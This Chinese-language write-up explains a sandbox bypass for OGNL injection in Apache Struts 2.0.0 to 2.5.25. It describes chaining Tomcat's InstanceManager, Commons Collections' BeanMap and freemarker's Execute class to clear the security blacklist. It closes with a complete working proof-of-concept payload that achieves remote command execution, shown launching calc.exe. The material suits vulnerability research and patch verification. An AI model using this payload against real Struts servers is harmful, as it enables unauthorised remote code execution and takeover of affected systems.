Struts 2.0.0 - Struts 2.5.25
对s2-059的沙盒Bypass,主要是对5.16之后沙盒进行了绕过,在5.16中黑名单中又增加了1com.opensymphony.xwork2.ognl
.
而之前通过attr的ValueStack来获取context的方法就位于com.opensymphony.xwork2.ognl
包中,导致无法再通过ValueStack.getContext()
获取到context.
在context map的application map中存有一个org.apache.tomcat.InstanceManager
对象,其实现类为DefaultInstanceManager
,而该类存在于tomcat中间件的环境中.
在DefaultInstanceManager
中存在一个newInstance
方法,可以根据类名返回实例对象.
现在便可以创建一个有Public无参构造函数的类了,但我们需要找一个可以得到contextm map的方法.
BeanMap类是存在于Apache Commons Collections依赖包中的一个类,其构造函数为public无参构造函数,且其中会调用initialise方法,可以根据传入的对象来生成该类的BeanInfo.
在其中将该对象类的读写(getter/setter)方法都分别放入了一个HashMap中.
在BeanMap类的get方法中则会调用该对象类的get方法.
在之前的补丁中因为com.opensymphony.xwork2.ognl
包被加入了黑名单,无法执行getContext
方法,但我们可以通过InstanceManager
创建一个BeanMap
,再将ValueStack
放入BeanMap中,则可以通过其BeanMap的get方法来间接执行ValueStack#getContext()
方法,则可以再次得到context map.
同样的的通过OgnlContxt的getMemberAccess()
来得到SecurityMemberAccess
.
然后再利用BeanMap
的put方法(其会调用对应额set方法)来调用其setExcludedPackageNames
和setExcludedClasses
重置黑名单即可.
最后再利用newInstance创建一个freemarker.template.utility#Execute
类,其存在无参构造函数,且其exec方法中可以直接执行命令.
poc:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("calc.exe")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}